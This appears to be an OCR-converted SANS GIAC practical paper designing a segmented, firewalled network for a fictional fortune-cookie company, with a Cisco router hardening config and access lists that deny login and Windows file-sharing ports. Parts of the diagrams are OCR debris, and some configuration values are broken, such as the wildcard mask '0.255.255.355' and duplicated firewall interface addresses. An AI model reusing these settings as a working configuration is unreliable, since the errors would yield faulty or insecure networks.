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1 Introduction

GIAC Enterprises sells fortune cookies on-line to small and large customers on a global scale.
The fortunes are trandated in the numerous languages and GIAC takes special care to make their
fortunes relate to the audience in different cultures. As with any global business, security of their
network is paramount. To that effect, GIAC is re-evaluating their entire network structure to
ensure the security of their data. Designing of this policy, we need to keep mindful of certain
aspects, which make a good security policy. The first thing is weighing business need verses
security risks. This company cannot assume they will not be a target. All connections into the
GIAC network will be logged, monitored and analyzed. The design will maximize the security of
the data and keep the efforts of any recovery process to a minimum. Simplicity in  design is
important to keep the maintenance as low as possible so that in turn will reduce errors produced
by the human variable. The use of multiple manufacturers in the design helps to ensure that any
single vulnerability would potentially only allow for a limited breech of security. As will be
expressed throughout this document, a security team will be employed to help maintain and
structure the security of the GIAC network.

1.1 Design limits

The design of the network includes an overall assumption that there are no restrictions on cost.
This is because the company is making al attempts to implement a security design that is
complete and fault tolerant. Security is the first priority because a breech in the security of the
network can very easily cause the company to loose income and even fail altogether. For this
reason, the company will use separate hardware to further control the security of information.
The separation of the servers on each network promotes the isolation and security within the
complete network. A separate web, email and DNS server on each network segment keeps them
separate in their usage and more secure because the traffic between them is controlled more
easily. Our “security team” (later defined in section 1.4.6) will take care of the multiple servers
and that will account for the added complexity of the separate servers.

1.2 General network summary

Our design separates the network into four segments each with its own distinct user group. Those
segments are addressed as follows. A diagram of the logical placement of each segment can be
seen in the next diagram. A complete diagram can be found in section 1.6.

Network Name |P Range Group

Remote: 192.168.10.0/24 Partners, Suppliers

Service: 66.200.100.48/28 Customers

Corporate: 192.168.20.0/24 Employees

Data: 192.168.30.0/24 All Users

(VPN Gateways) varies Partners, Suppliers
-4-
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1.3 Access requirements

In defining the access requirement of the entire network for GIAC enterprises, we have four
distinct parties who all need different requirements and restrictions. Listed are the specific details
for each party.

1.3.1 Partners
Those who translate the fortunes and resell them

= Accessto the “remote’ network
= No access to any other network segment

The partners will be able to connect to the servers on the remote network via a VPN tunnel.
From there they will use the web services to connect to the fortune data on the data network.
This will be achieved through the web server that resides on the corporate network. The access
will be controlled through authentication on this server (192.168.20.1 — see diagram in section
1.6). The web server on the corporate network will provide READ-only access for this group to
the data which is the lifeblood of GIAC enterprises.. They will also make use of the DNS for
external name resolution and the emalil server to forward mail to the corporate network.

Protocol summary for Partners:
HTTP (TCP 80)

" FTP data (TCP 21)

SMTP (TCP 25)

" Our Firewall will use a stateful packet filter for FTP and uses only port 21 for the initial connection. It does not
need to be a passive mode FTP session.
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DNS (UDP53)
isakmp (TCP, UDP 500)

1.3.2 Suppliers
The authors of the fortunes

= Access to the remote network
= No access to any other network segment

The Suppliers will have much the same access to GIAC enterprises except they are allowed read
and write FTP access to the data network. This is controlled by the logon procedure on the web
server on the corporate network (see the diagram below). The “suppliers’ group will be allowed
to read and write data because they are the authors of the fortunes.

Protocol Summary for Suppliers:
HTTP (TCP 80)

FTP data (TCP 21)

SMTP (TCP 25)

DNS (UDP53)

isakmp (TCP, UDP 500)

Below illustrates a logical summary of the access to the fortune data cluster for the
Suppliersand Partners.

_Remote Network

& 82 g

Suppliers Partners

[
oS WEB
o

Q(

Database Cluster

A . | WEB< Read-Only (Partners = (=
CCeSS Ontro E IIIIIIIIIIII,III IIIIII.II EEER
= t | — —
I
B - - .

Corporate Network  Data Network

1.3.3 Customers
This defines the people that purchase on-line fortunes

= Accessto the “service” network
= No access to any other network segment

Customers will be granted the access to the public servers on the service network and will

provided a web server to submit their orders for fortune cookies. The orders will be forwarded to
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the web server on the corporate network and be processed by the employees of GIAC. They will
transparently make use of the DNS server for externa resolutions. The email server used here
will forward the mail to the corporate network for processing. The connection requirements
include SMTP to their mail server, use of an external DNS server and a web server to place
orders and link to the email server in the service network. The DNS server will be configured to
disallow zone transfers and otherwise be hardened as an external system by the security team.
The customers will place orders using a secure web (HTTP, FTP) interface and those orders are
directed to the GIAC private company network for confirmation and processing. Once the orders
have been confirmed, the data is sent from the corporate network.

Protocol summary for the Customers:
HTTP (TCP 80)

SMTP (TCP 25)

DNS (UDP53)

1.3.4 Internal traffic analysis

It is important to note how we are controlling traffic for HTTP and SMTP services. The
connections are allowed from the serverson the remote and service network. In addition, the
outbound connections are only allowed from the email server (192.168.20.2) on the corporate
network. The norma communication between the web servers on the remote and service
networks will remain to be able to respond to a connection from the outside. However, those
servers are not alowed to initiate the connection and with the proxy service that is in use, it
would be virtually impossible to fool the server into thinking a connection was made already
when it has not been.

HTTP and SMTP traffic
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1.3.5 Employees
Those who take care of all regular (non-security related) business needs of GIAC Enterprises.

= Access to the corporate network

= Accessto the data network indirectly

= No access to the remote network

= No accessto the “service” network

The Employees of GIAC enterprises includes al inside employees EXCEPT a group of
employees designated as the “Security Team” who will perform the day-to-day tasks of doing
business. All management will be considered to be among this group of employees and they will
not be granted different access to services.

Protocol summary for the Employees:
HTTP (TCP 80)

FTP data (TCP 21)

SMTP (TCP 25)

DNS (UDP53)

1.3.6 Security team

A subset of employees designated with al duties relating to the security of the company’s
electronic information.

= Access to each network segment as required

= Resdtrictions will be based on the individual policies that are associated with the
tasks involved. (no single person shall have complete access to all network
segments)

Duties of the security team will be to maintain the security of al the information that is deemed
the property of GIAC enterprises. To educate the employees about proper handling of the
information they have access to. The team will prepare and perform training for any aspects of
security that need to be explained due to changes in security technology, equipment or personnel
changes, vulnerabilities, exploits or business needs. Note that the number of partners, suppliers
or customers is not expected to grow any more than two to five percent in the next five years. It
will be the policy of the security team to make regular benchmark and capacity testing of the
equipment to maintain headroom for an estimated two-year period. If there is a need for network
changes to meet growth, security will be integrated into the design of any new configuration.

The security team will obviously play an important role in the company. To explain the types of
things that the team will deal with we need to look at the larger picture.

-8-
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1.4 Business needs verses security risks

The main goa when designing our network is to maintain the security while allowing for al
necessary business communications. The security team has the majority of the responsibility for
maintaining these policies, but it is recognized that everyone from employees, partners and
suppliers are sharing the burden to maintain the integrity of the network and its data.

It isimportant to note that the partners and suppliers define an expanded perimeter for the GIAC
company network. As those two groups expand, so does the extent of the systems that need to be
maintained. These systems are very important to maintain because if one of the systems were
compromised they provide a secure tunnel (over the VPN) into the GIAC network and would
provide excellent cover for a hacker to glean information or otherwise disturb the business.

The tasks designated for the security team can be categorized but are not limited to three main
areas.

The physical security deas with access to systems, the controlled equipment room,
equipment racks, unauthorized equipment such as modems or wireless access points, and
any such activity that would potentially compromise the physical network.

The network security deals with the equipment level policies such as maintaining the
OS, IDS systems, network monitoring, hardware configurations, data backup and storage,
daily information checks (maintaining a current knowledge of what is going on in
security), and security issues related to the maintaining the network components.

The people security deas with employee screening, training the entire company about
any relevant security issues, account policies, sticky note checks (making sure there are
no passwords stored in easily visible places), and security issues that relate to the users.

1.4.1 Physical security

[Physical security deals with access to systems, the controlled equipment room, equipment racks,
unauthorized equipment such as modems or wireless access points, and any such activity that
would potentially compromise the physical network.]

Each piece of network equipment will be housed in a rack, which is securable. These racks will
be placed in the room with all other networking equipment and thereby will be protected via the
room’s security (explained below). We make use of the rack systems made by Hergo. We will
make use of the full size enclosure type that is 24” wide by 36" deep. For more information, refer
to the company web site at www.hergo.com

Some specific policies are the following:
= All network equipment will be isolated in a controlled environment with limited access.
All Entry points for the “information room” will be controlled through use of ID cards
that will beissued to IT personnel only.
= Access to the D-mark (or entry point) of the Internet connection will be behind a locked
door which is only accessible by the building authority.

-0-
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= Some hardware components will be maintained in duplicate to alow for a quick
replacement with minimal downtime. Which components and how they are maintained is
explained later.

1.4.2 Network security

[Network security deals with the equipment level policies such as maintaining the OS, IDS
systems, network monitoring, hardware configurations, data backup and storage, daily
information checks (maintaining a current knowledge of what is going on in security), and
security issues related to the maintaining the network components.]

= There shal not be any unauthorized use of equipment. The equipment included is all
network hardware which is connected to (in any way), any of the GIAC network
segments. That includes the systems, which are at the Partners and Suppliers end a VPN
tunnel. Only those persons designated by GIAC are those that are granted access to the
equipment they are assigned.

= Access to al data on the GIAC network (intellectual property) shall be restricted to
authorized users.

= All data on the network is considered property of the company and is therefore the
companies' right to remove any dataincluding programs it deems so without notice.

= All device configurations will be maintained in separate and encrypted file storage. These
copies will be stored off-site. A procedure will be in place to maintain this off-site
storage.

= Disaster recovery methods will be outlines, tested and updated as needed.

= User policies shall be in place to restrict admin-level access to end-user PC’s. Extensive
OS level hardening will be practiced.

= The management team will need to be flexible in their approach, maintain information on
current vulnerabilities, and apply them to the equipment and configurations.

To understand more clearly the importance of the security team and their responsibilities we will
look at some of the concerns they will have. In the following sections 1.4.2.1 through 1.4.2.3, we
explore general ways to reduce risk on the firewalls, software and OS hardening and some
security related tools to use. These al relate to the network security tasks.

1.4.2.1 Reducing risk on the firewalls

Minimizing risk is an ongoing process. The security team must continually evaluate potential
threats vs. the needs of the company. The actions listed below are things to consider when
making changes to the firewalls that will help reduce risk at the network level.

= Automatically block packets from spoofed I P addresses. (default firewall configuration)

= Automatically block packets with IP options in the address. (default firewall
configuration)

= Avoid configurations that invite attacks, such as configuring the "Any" service to allow
incoming traffic from “Any” external host to “Any” trusted host.

= Enable IP masquerading by using network address trandation (NAT). (default firewall
configuration)
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= Do not add a packet filter service (as opposed to a proxied service) to the firewall
configuration.

= Proxied services are much safer than their packet-filtered counterparts are, because
proxies blocks unsafe content types wrapped inside allowable content types. Packet filters
only check packet headers while proxies check the header and content.

= Restrict incoming traffic for a given service to asingle host on the Optional interface.

= Restrict incoming traffic for a given service to asingle host on the trusted interface.

= Allow outgoing traffic from only one host for a given service.

1.4.2.2 System software

The security team will be responsible for hardening and testing of each system before it is placed
in the network. For all Windows based systems, they will use the procedures obtained from
varied sources to ensure a more complete and concise “best practice”’ information. Some of these
sources will include:

http://www.sans.org

http://www.sans.org/infosecFA Q/index.htm

http://www.ntbugtrag.com

http://www.sarc.com

http://xforce.iss.net

http://www.enteract.com/~Ispitz/ - Lance Spitzner’s Papers on OS hardening

These sites and any that are found to apply should be included in a daily schedule that checks
these sites for issues that deal with the hardware, software, and security in general. The security
team will also be responsible for the practice of user education, password policy enforcement,
physical security of equipment, waste control as it relates to paper waste being shredded and
making sure the container outside the building is locked.

1.4.2.3 Tools for regular maintenance

The l1S lock down tool Version 2.1 from Microsoft will be used to help configure the services on
the system that run 11S (the web servers). This tool greatly enhances the security of those systems
by properly configuring the systems to turn off un-used services and by other means.

The Microsoft Hotfix checker tool will be used by the security team to keep the systems up to
date. This tool checks the web, downloads an up to date database to check the systems against,
and then creates a report that shows that patches or other updates are needed for windows
systems.

From the Center for Internet security, we will acquire a tool called the Windows 2000 Level |
Host-Based Security Scoring Tool

The CIS Level-1 Scoring Tool for Windows 2000 available on this web site provides a
quick and easy way to evaluate your host systems and compare their level of security
against the CIS minimum due care security Benchmark. Tool reports guide system
administrators to harden both new installations and active production systems. The tool is
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also effective for monitoring systems to assure that security settings continuously
conform to the Benchmark.

The scoring criteria include an assessment of the status of hotfixes in place on your
systems. This CIS tool utilizes HfNetChk to obtain the most current database of hotfixes
available from Microsoft. CIS is authorized to use HfNetChk by its developer, Shavlik
Technologies, LLC (http://www.shavlik.com/security).

The security team will use this tool and make any changes needed to the servers until they score
a 10 using this tool. Detailed instructions can be obtained from a PDF file within the package
when you download the tool.

The SANS “Top 20" tool will be used to test for common configuration problems. It can be
obtained from http://www.cisecurity.org/scanning_tool.html

1.4.3 People security

[People security deals with employee screening, training the entire company about any relevant
security issues, account policies, sticky note checks (making sure there are no passwords stored
in easily visible places), and security issues that relate to the users.]

= Security team members will be active in educating the employees for proper practices
and responsibilities of the employees.

= Any policy set by the security team shall be adhered to without exception.

= Password generator program will be used to generate all passwords for equipment user
account and service accounts. This will ensure completely random passwords to be used
and thus will ensure that dictionary based or attacks will not work.

= Education of the users about good security practices and issues will maintained as a part
of the security teams responsibility.

= The team will remain flexible in their approach when dealing with issues related to the
people security.

= Anyone who attempts to access or control devices they are not specifically allowed is
grounds for dismissal without further notice. Each end user will be assigned to his/her
own PC and all other network equipment will be assigned to members of the security
team of GIAC enterprises.

The security team will maintain flexibility in each of their responsibilities. This will help to
ensure the security of the systems is covered well. When working on specific issues for the
company, the security team needs to focus on the equipment level. So we will now examine the
specific components that make up the GIAC Enterprises network.

1.5 Network components

The hardware and software which GIAC will use for their network is outlined here. Please refer
to the item letter and the network diagram in section 1.5 for logical placement of the
equipment. Note the descriptions of these components will not go in alphabetical order.
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Item A — Border Router Cisco 3640 Router

Item B — 3COM Superstack 3300 12-port switch (3C16981A)

Item C — Watchguard Firebox 4500 (2 in afailover configuration)

Item D — (4) 3COM OfficeConnect 10/100 Hubs (3C16755)

Item E — Watchguard Firebox 4500 (2 in afailover configuration)

Item F — Watchguard VPN appliance (either a hardware or software VPN gateway) — Not shown
in the diagram in section 1.5

1.5.1 Border router

[tem A
Model: Cisco 3640 Modular Router 3640
Version: 12.0(t)

PuBLIC

Yot 0: 1 Ethernet, 2 WAN Sot
WAN Sot 0: 1 T1 CU/DU
WAN Hot 1: <open>

Sot 1: 1 Fast Ethernet Network Module o 66.100.200.49/28
s

200.100.200.101/30

The border router will be a 3640 Series router. Cisco [&=

equipment was chosen because Cisco has proven to make e
reliable, scaleable and well supported product. The border
router shall be configured with the intention of allowing only access to specmed networks. 1t will
be configured to be the first line of defense when an attacker attempts to gain information or
exploit the systems behind it. The role of the router is paramount as it and the firewall behind it
together control all access in and out of the network. This router is designated to be the single
access route to the Internet and thereby needs to be, as does all the hardware in the network,
strictly controlled. The fact that our GIAC network will be restricted in that no modems or
wireless hubs will be allowed enforces the router to do its job.

The Cisco 3600 allows you to load new system images using a PCMCIA Flash memory card.
The policy is to make a backup copy of the running configuration on the flash memory card as
well as store the configuration (encrypted) onto system wide encrypted storage. This critical data
will be backed up and kept off site.

1.5.2 Firewall overview

We are using two WatchGuard Firebox 4500 units. These systems are built around a proprietary,
hardened Linux OS making it much harder to find vulnerabilities. Our Watchguard firewall
comes with three network devices setup as shown here in a typica configuration.. The
connections are labeled as “trusted”, “external” and “optional” on the firewall itself. The
diagram below shows a typical configuration for an external firewall.
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The specifications of the firewall are as follows:

Linux 2.0 Kernel

3 RJ45 10/100Tx Ethernet interfaces
1 DB-9 serial port

500 MHz AMD K6-111 processor

128 MB SDRAM

8 MB Flash Disk

155" W x 2.85" H x 10.5" D

1.5.2.1 Features
The firewall provides a number of key features:

Security Proxies— used to apply rulesto the contents of the TCP/IP packets.

Stateful Dynamic Packet Filtering — used to build filtering rules based on the state of a
connection.

Scan Detection — default protection from various common network scans.

Spoofing Protection — detect spoofing attempts and drops the packets

Site Blocking — prevents defined network from passing the “wall”

Port Blocking — prevents defined “dangerous’ portsin TCP and UDP from entering
SYN flood Protection — stops SY N flood Denial of Service attacks

Dynamic NAT — hides internal addresses

URL Filtering — Uses a CyberPatrol database to control internet browsing.
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Static NAT — Allows internal hosts with registered IP addresses to function as Internet-reachable
servers.

One-to-one NAT — alows the mapping of arange of IP addresses to an alternate range of IP
addresses.

1.5.2.2 Proxied services

Watchguard uses the term “transparent application proxies’ to define their proxy method. The
proxied services include the SMTP, HTTP and FTP. The rest of the services are packet filters.
There is essentially a small SMTP, HTTP and FTP service running on the firewall that
FORWARD the requests (after parsing through the packet) to the destination server. The proxies
work at the application level of the OSI model whereas the packet filters work at the protocol
level. This means that each packet received has to be stripped of the network wrapping,
examined, processed and re-wrapped so it can be forwarded to it destination. This adds several
layers of complexity to the packet filter process. The proxies are used for those services which
are deemed the most vulnerable to attack.

1.5.2.3 Equipment redundancy

The firewalls (Items C and E, see the network diagram in section 1.6) will be configured with
redundancy.

In order to maintain a low percentage of down time the company will take steps that will help
ensure that if any hardware fails that they themselves can get a working unit in place very
quickly. The border router will have a duplicate in storage ready to be placed on-line. If afailure
of any kind were to occur the duplicate would be available immediately. The WatchGuard
firewalls will be configured with what they call High Availability (HA). There will be two
firewalls with the same configuration and be connected at the same time. Each interface of the
firewall of a matching set must be connected to the same network. If a firewall were to fail, the
design is to have the passive firewall recover and take over al traffic (including VPN traffic that
may aready be flowing) within 20 seconds. All this may seem like overkill but it is the belief of
management that avoiding the downtime and huge costs involved with not being able to do
business.

1.5.3 Primary firewall

[tem C
Model: Watchguard Firewall 4500
Version: 5.0 SP1

Summary of interface settings:
Externa Interface (eth0) 66.100.200.50/28
Trusted Interface (ethl) 66.100.200.50/28
Secondary Network: 192.168.10.50 — meaning the firewall will answer to this 1P on the
“Ethernetl” network card.
Optional Interface (eth2) 66.100.200.50/28

Item C, our primary firewall is the device that controls access between our network and the
outside world. Itsrole in the security of the network is to restrict access to the system behind the
firewall (from the outside) and to limit the traffic flowing from the inside out. This Watchguard
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will aso handle the VPN tunnels coming in from the Partners and Suppliers. The externd
firewal is the “gateway” for the VPN traffic coming into the “remote” network from the
Suppliers and Partners. The gateway is defined as where the VPN terminates. Therefore, this
firewall is the termination point for al our incoming VPN traffic and the other gateways are
defined as each Supplier and Partner. See the diagram below.

1.5.4 Internal firewall

ltem E
Model: Watchguard Firewall 4500
Version: 5.0 SP1

Summary of interface settings:

Externa Interface (eth0) 192.168.10.200
Trusted Interface (ethl) 192.168.20.200
Optional Interface (eth2) 192.168.30.200

The internal firewall is located on the remote, corporate and data networks. Its main security
function is to control the access to the data network from everyone and allow controlled access
for the employees on the corporate network to the data network. By design, only the corporate
network is allowed to access the data network directly.

The servers supporting the customers are especially vulnerable and so the location of the firewall
further separates the customer network from the valuable data network. All the traffic from the
corporate network has to traverse both firewalls. This helps to ensure that the layered protection
is present between these two segments. We trust the corporate network more hence; the
placement of the firewall separates the corporate and data segments (they do not have to traverse
both firewalls). Additionally, the remote network that we need to keep a closer eye on, must
traverse the external firewall to gain access and then the internal firewall to read and write to the
data network. See the diagram below.

—

: 50

Ext.
50 ZFirewall\\ 5

3 3
Remote |: : Serivce

20.200 ZFirewall\\ 0 200

-
Corporate|: i Data
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1.5.5 VPN connections

Model: WatchGuard SOHO Telecommuter OR Mobile User VPN (MUVPN) Client Software
Item F (not shown in diagram in section 1.5)

Version: 5.0 SP1
GIAC Enterprises will supply VPN Hardware or software and
| C require Internet access for each remote user. The company will
Network require each remote user to be responsible for anti-virus

software on the systems that will use the VPN firewal
equipment. The company must rely on their partners and
suppliers to control access to the machines and keep them safe
from tampering and keep them updated with patches and virus
definition updates. This is the current effective limit of the
control of GIAC' s perimeter protection.

The Partners or Suppliers will have the choice to use VPN
hardware on their end of the tunnel or to use Mobil User VPN
(MUVPN) client software provided by Watchguard. For those
connections that need to be permanent (always on) connection

N3

[ ]SOHO/tc to GIAC, the VPN hardware solution is provided by GIAC. For

those not needing to transfer large amounts of data or connect a

Private Network

- large number of users, the MUVPN option will suffice. Note

gﬁ\j the MUVPN software solution is not shown and requires

; only a small piece of software on the client systems. The

Partners & Suppliers Mobil User VPN client software is a software package (with a

small footprint) which is used to connect to the GIAC primary
firewall over the VPN while they maintain a connection to the Internet independently. It will be
the choice of GIAC to determine which Partners and Suppliers use which type of connection.
This decision will be based on the type of connection that the Partner/Supplier has along with the
cost and other factors.

1.5.6 3COM switch

Item B

Model: —3COM Superstack 3300 12-port switch
(3C16981A)

Version: N/A

The IDS system will be set to log onto the firewall
and be placed in the “IPSEC_users’ group. Client
encryption software allows the system to encrypt the
data passed to the logging host on the data network.
That host which is logging all the IDS events will be
using an encrypted disk to store the logs. That system
isdiscussed in section 1.5.3.3.
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Placing the switch as shown will alow the IDS system to monitor for malicious code, which
comes past the router. The port on the switch that the IDS system uses will mirror al the traffic
on the switch, thereby allowing the IDS system to work properly. Otherwise, the IDS system will
only be able to see the traffic directed right to it and broadcast traffic. Because some switches fail
to pass absolutely all traffic to a mirrored port the GIAC security team will monitor the system
and determine if a TAP device should be used. The 3COM switch will aso be used to alow the
redundancy to the firewall (D) which becomes a very important feature. It is “strongly”
recommended from Watchguard that the configuration we are using for redundancy should have

“Some switches have been known to drop the heartbeat packets, causing both of the
Fireboxes to go online simultaneously. We strongly recommend using a hub to connect
the trusted network interfaces of the fireboxes together. ”

- WatchGuard Technologies
It is however, recommended to use a TAP device. The TAP device becomes the solution for a
switch that does not always pass ALL the traffic to the IDS system and allows for redundancy.
For more information, consult the following resource for TAP devices.

TAP manufacturer (Finisar)
http://www.finisar.com/product/product.php?product id=69& product category id=41

Our IDS systems are Network based IDS systems verses host based systems because we want to
get a better larger perspective of the networks “interesting” traffic. We have one system on the
outside of the firewall, behind the router. This one catches what the router lets by essentially.
The other systems are on each network segment so that the security team can monitor al areas of
the network. The security team will be responsible for monitoring these systems for any
information that shows that they may need to make a change to the security structure of the
network. The information the IDS systems gather may also be used to prosecute the attackers.
All IDS systems are using Watchguard | PSec client software to authenticate and encrypt the data
passed to the logging system (192.168.30.104). That system is using PGP software to encrypt the
data stored on it until the backup procedure moves it to atape rotation and off-site storage. These
systems are monitored and maintained by the security team.

1.5.7 3COM hubs

ltem D

Model - 3COM OfficeConnect 10/100 Hub (3C16755)

These are used to comply with the recommendations for redundancy for the firewalls. | have
found them to be reliable and durable units hence they become my recommended hardware in
this situation.

1.5.8 Server components

Each server in our network with the exception of the IDS systems and the logging/control station
will be based on Compag hardware running a Windows based OS. Compag hardware was
selected because of the expertise of Compag to supply its end-users with the equipment that is
able to do the job at hand, the support from the company and the commitment Compaq has to
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solving the problems that inevitably arise. Their server equipment lends itself well to the quick
replacement and maintenance of the hardware components as well as being able to scale very
well. The Windows 2000 Server OS is selected because of the highly familiar OS lends itself
well to finding qualified personnel in servicing and maintaining at the OS level. The high profile
of the Windows based OS allows for a larger pool of technical information in the case of
vulnerabilities that are found and other technical issues that occur. A Windows based operating
system was also chosen because, when properly configured and implemented it provides a solid
platform on which to perform the daily networking practices of GIAC enterprises.

All Compag hardware will be tested for Compaq specific management software and it should be
disabled by the security team. This software which is installed by default on al servers from
Compag uses broadcast traffic to announce and propagate its information, but since we are not
using the management software to monitor such activity we will disable it. This traffic is not
only using resources that can tie up bandwidth but it is a potential security risk with its own set
of vulnerabilities.

1.5.9 Hardware and software

The hardware and software described below are al selected for their specific role in the overall
network policy.

1.5.9.1 Windows based systems hardware:
Model: Compaqg ProLiant DL 360
Processor: Intel Pentium 3 FC-PGA 1.4 GHz
Memory: 1GB
Storage: Capacity varies based on the use of the server but al will useaRAID 5 array.

1.5.9.2 Database hardware:

Model: Compaqg ProLiant DL580

Processor: (2) Intel Pentium 3 Xeon 900 MHz
Memory: 4G

Storage: 180G in aRAID 5 array

Other: Dual Redundant 400W power supply

1.5.9.3 Backup system hardware:
Model: Compaq ProLiant DL580
Processor: Intel Pentium 3 FC-PGA 1 GHz
Memory: 2G
Storage: DAT Tape drive DR capability (DR = Disaster Recovery)

1.5.9.4 Linux based systems hardware:

Model: Compaq ProLiant DL580
Processor: Intel Pentium 3 FC-PGA 1 GHz
Memory: 512M

Storage: 3 —10G drivesin aRAID 5 array

1.5.9.5 Windows based systems software:
Windows 2000 Server (Service Pack 2, MS Security Rollup package)
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http://support.microsoft.com/defaul t.aspx?scid=kb; EN-US; 0299444

Windows Exchange 2000 (Service Pack 1)
http://www.microsoft.com/exchange/downl oads/2000/spl.asp

1.5.9.6 Linux based system software:
Linux OS Kernel Version 2.4.17 (latest stable version)

1.6 Network diagram

Below is the overal network diagram (logical) with the components labeled “A” through “E”.
Note that “lItem F’ is not shown in the diagram but otherwise the labels correlate to the
descriptions of the componentsin section 1.4 “Key Components’.
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Below is an outline the components that make up our network separated into their corresponding
segments.

1.6.1 Service network

1.6.1.1 IDS server

The placement of this server is important because it alows the monitoring of the “public”
portion of the GIAC network and it provides a filtered view of the attacks that have made it
through the policy of the firewall. This will be very useful in finding the adjustments that will
need to be made to the firewall and router. The IDS system here will allow is to ensure that there
is no traffic leaving the segment, which may indicate that a system has been breeched. All IDS
system will be a snort the latest version 1.8.6 (as of this writing) from http://www.snort.org . We
choose the Snort IDS because of its large support system in place, the easy to use signature
language and the good performance. These systems will log to an encrypted disk at
192.168.30.104 on the data network. This encrypted disk will be using PGPDisk software from
www.pgp.com. The software on the logging host will be configured to use 3DES encryption to
protect the logs from being tampered with.

1.6.1.2 Web server

The web server will be accepting requests from the outside world (the customers) and the
isolation of this web server secures the rest of the network from attack. This server will not be
allowed to send traffic to any other segment on the GIAC network and will therefore be denied
as a vehicle for attack. All web servers will be running on Microsoft Windows 2000 (service
Pack 2) and Microsoft 1S 4.0.

1.6.1.3 Email server

The Exchange 2000 server will be accepting the requests from the outside world and is separated
from the segments by the policy set on the primary firewall (Item D). Its placement ensures that
the customers will only directly hit this server for email. All email servers will be running on
Microsoft Windows 2000 (service Pack 2) and Microsoft Exchange 2000 (SP 3). This server will
forward its mail to the email server on the corporate network. (see diagram in section

1.6.1.4 DNS server

This DNS server will only be accepting requests from sources outside the GIAC network and
will reference external DNS servers that the ISP has given GIAC to use. Being on the service
network allows the customer to make use of a DNS server and not be able to access the internal
DNS server that is designated for the employees use. All DNS servers will be running on
Microsoft Windows 2000 Active Directory integrated DNS services.

1.6.2 Remote network

1.6.2.1 Web server

The web server here is serving the partners and suppliers to interact with the company without
having to make use of the corporate web server directly, thereby controlling the access to the
data.
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1.6.2.2 Email server

The email server here will forward its requests to the corporate network for the employees to
process and reply. This keeps the server from accessing the corporate network directly.

1.6.2.3 DNS server

The DNS server will be used for externa resolution and will only be allowed to make
connections out. The firewall will not allow any DNS services or server to reach this from the
outside.

1.6.2.4 IDS

The intrusion detection system will placed here to monitor for malicious activity that may be the
result of a remote system being compromised. The snort system, as stated earlier, will be
configured to send its log to an encrypted disk on the data network.

1.6.3 Data network

1.6.3.1 Data Servers

The data server will be isolated from al other networks except limited use by the remote and
corporate networks. They will be configured in a cluster using Microsoft Windows Advanced
Server 2000 clustering functionality. Their role is to store, maintain and supply the company data
that includes the fortunes and administrative data, like employee and financial records. Only the
Web and FNP servers on the corporate network will actually be allowed to access these data
servers.

1.6.3.2 Backup server

The server isresponsible for backing up the data on main database servers. The backup tapes
will be kept off-site in a fireproof container. The backup procedure will be such asto alow for a
quick recovery of the data. The system will be monitored by the security team to ensure that the
backup jobs are complete and error free.

1.6.3.3 Logging and control system

The logging and control system is the system by which all the routers, firewalls and logging of
the IDS systems will occur. It will be secured by being inside the network room and access
controlled viaalocal security policy. The system will employ a BIOS level password, the case
shall be locked and the system tied to arack that it resides. The file system will be encrypted
using PGPDisk software from http://www.pgp.com and will be set to use 3DES encryption. This
system will be controlled and accessed only by specified security team members.

1.6.4 Corporate network

1.6.4.1 Web Server

This server will be controlling the access to the actual data on the data network. It will accept the
reguests from both the web server on the remote and the service networks and forward
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1.6.4.2 Email Server

This email server will accept the requests from the email servers on the remote and service
networks to facilitate the correspondence from the customers, partners and suppliers. The email
server will be restricted to accept mail from ONLY those two mail systems. The

1.6.4.3 DNS Server

This server will function for internal resolution only. It will be allowed to resolve the request for
the corporate network only and will not accept incoming connections via the internal firewall

policy

1.6.4.4 FNP Server

Employee records, accounting information, and any such information that will be stored on the
data cluster other than the fortunes will be controlled by this server as afile and print server. The
access to this server will be restricted further by the network security policy set on the system.
Thiswill allow only a selected few employees to work with the information contained here.

2 Configuration policies

Below we will look at some of the specific policies on the devices and how they apply to the
application for which they are designed.

2.1 Router policy
A key component of the secure network we employ is the router.

With Cisco's I0OS there are some configurations of the
equipment that shall be kept the same on all the routers.
The common commands to be entered are outlined
below. These routers will be running version 12.0(T)

(Seediagram on page 19 Item A)
service passwor d-encryption

Forces the configuration to appear with an encrypted
password

enable secr et
Forces the encryption of the password shown in the
system configuration

no service udp-small-servers
Disables the ECHO, Disguard and Chargen UDP services

no cdp enable

no servicetcp-small-servers
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Disables the Echo, Disguard, Chargen and Daytime TCP services

no ip unreachable
Disables the “unreachable’ response on all interfaces

no ip sourceroute
Disables the routing of packets to another router

no ip bootp server
Turns of the bootp server

noip http server
Turns off the HTTP server

no service finger
Turns off the finger service

no ip direct-broadcast
Prevent broadcast from causing denial of service (applied to both interfaces)

interface FastEthernet O
ip address 66.100.200.49 255.255.255.240

Interface Serial 0/0.1

ip address 200.100.200.101 255.255.255.0

ip access-group 101 in

access-list 101 deny ip 10.0.0.0 0.255.255.355 any log
access-list 101 deny ip 172.16.0.0 0.15.255.255 any log
access-list 101 deny ip 192.168.0.0 0.0.255.255 any log
access-list 101 deny ip 127.0.0.0 0.255.255.255 any log
access-list 101 deny ip 224.0.0.0 7.255.255.255 any log
access-list 101 deny ip 240.0.0.0 63.255.255.255 any log
access-list 101 deny ip 255.0.0.0 63.255.255.255 any log
(Note: This portion of the access list should be amended at this point with those | P ranges which
are considered invalid address space.)

access-list 101 deny ip host 0.0.0.0 any log

access-list 101 deny tcp any any range ftp telnet log
access-list 101 deny tcp any any range exec Ipd log
Deny and log traffic for login services

access-list 101 deny tcp any any 135 log

access-list 101 deny udp any any 135 log
access-list 101 deny udp any any range 137 138 log
access-list 101 deny tcp any any eq 139 log
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Deny and log traffic for legacy windows resource queries

access-list 101 deny tcp any any eq 445 log
access-list 101 deny upd any any eq 445 log
Deny Windows 2000 resource queries

access-list 101 permit tcp any 66.100.200.48 0.0.0.15 gt 20
access-list 101 permit tcp any 66.100.200.50 gt 20 established
Allow only tcp packets with the ACK bit set from the firewall

Implicit deny and log everything else (inbound): [ Outbound logging will occur at the firewall.]
access-list 101 deny ip any any log

linevty 04
transport input none
login

Adds alogin banners

banner login Unauthorized accessis prohibited. Property of GIAC Enterprises

2.2 External firewall

Most of the control of traffic occurs here at the external firewall. It is very important to examine
the rule-set to make sure we are covering everything that is needed while denying all other

communications.

:\I00Practical\outside firewall.cfg * - Policy Manager
@l F:\100Practical\outside fi Il.cfg * - Policy M

BE X

File Edit Setup Metwork Wiew Help

A ELIER RS

Configured Services | Incoming: From | To | Log Allows | Log Denies | Cutgoing: From

To Log &llows | Log Denies |

:8 @ Ary-Partners ipsec_users krusted Yes Yes trusted jpsec_users  Yes Yes
